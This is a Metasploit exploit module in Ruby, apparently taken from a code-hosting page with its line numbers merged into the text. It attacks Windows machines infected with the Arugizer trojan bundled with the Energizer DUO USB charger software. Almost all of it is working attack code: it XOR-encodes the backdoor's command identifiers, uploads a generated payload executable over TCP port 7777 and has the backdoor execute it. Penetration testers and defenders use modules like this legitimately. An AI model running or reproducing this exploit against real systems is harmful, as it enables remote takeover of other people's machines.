Path: blob/master/modules/exploits/windows/backdoor/energizer_duo_payload.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Energizer DUO USB Battery Charger Arucer.dll Trojan Code Execution',16'Description' => %q{17This module will execute an arbitrary payload against18any system infected with the Arugizer trojan horse. This19backdoor was shipped with the software package accompanying20the Energizer DUO USB battery charger.21},22'Author' => [ 'hdm' ],23'License' => MSF_LICENSE,24'References' => [25['CVE', '2010-0103'],26['OSVDB', '62782'],27['US-CERT-VU', '154421']28],29'Platform' => 'win',30'Targets' => [31[ 'Automatic', {} ],32],33'DefaultTarget' => 0,34'DisclosureDate' => '2010-03-05',35'Notes' => {36'Reliability' => UNKNOWN_RELIABILITY,37'Stability' => UNKNOWN_STABILITY,38'SideEffects' => UNKNOWN_SIDE_EFFECTS39}40)41)4243register_options(44[45Opt::RPORT(7777),46]47)48end4950def trojan_encode(str)51str.unpack("C*").map { |c| c ^ 0xE5 }.pack("C*")52end5354def trojan_command(cmd)55cid = ""5657case cmd58when :exec59cid = "{8AF1C164-EBD6-4b2b-BC1F-64674E98A710}"60when :dir61cid = "{0174D2FC-7CB6-4a22-87C7-7BB72A32F19F}"62when :write63cid = "{98D958FC-D0A2-4f1c-B841-232AB357E7C8}"64when :read65cid = "{F6C43E1A-1551-4000-A483-C361969AEC41}"66when :nop67cid = "{783EACBF-EF8B-498e-A059-F0B5BD12641E}"68when :find69cid = "{EA7A2EB7-1E49-4d5f-B4D8-D6645B7440E3}"70when :yes71cid = "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"72when :runonce73cid = "{384EBE2C-F9EA-4f6b-94EF-C9D2DA58FD13}"74when :delete75cid = "{4F4F0D88-E715-4b1f-B311-61E530C2C8FC}"76end7778trojan_encode(79[cid.length + 1].pack("V") + cid + "\x00"80)81end8283def exploit84nam = "C:\\" + Rex::Text.rand_text_alphanumeric(12) + ".exe" + "\x00"85exe = generate_payload_exe + "\x00"8687print_status("Trying to upload #{nam}...")88connect8990# Write file request91sock.put(trojan_command(:write))92sock.put(trojan_encode([nam.length].pack("V")))93sock.put(trojan_encode(nam))94sock.put(trojan_encode([exe.length].pack("V")))95sock.put(trojan_encode(exe))9697# Required to prevent the server from spinning a loop98sock.put(trojan_command(:nop))99100disconnect101102#103# Execute the payload104#105106print_status("Trying to execute #{nam}...")107108connect109110# Execute file request111sock.put(trojan_command(:exec))112sock.put(trojan_encode([nam.length].pack("V")))113sock.put(trojan_encode(nam))114115# Required to prevent the server from spinning a loop116sock.put(trojan_command(:nop))117118disconnect119end120end121122123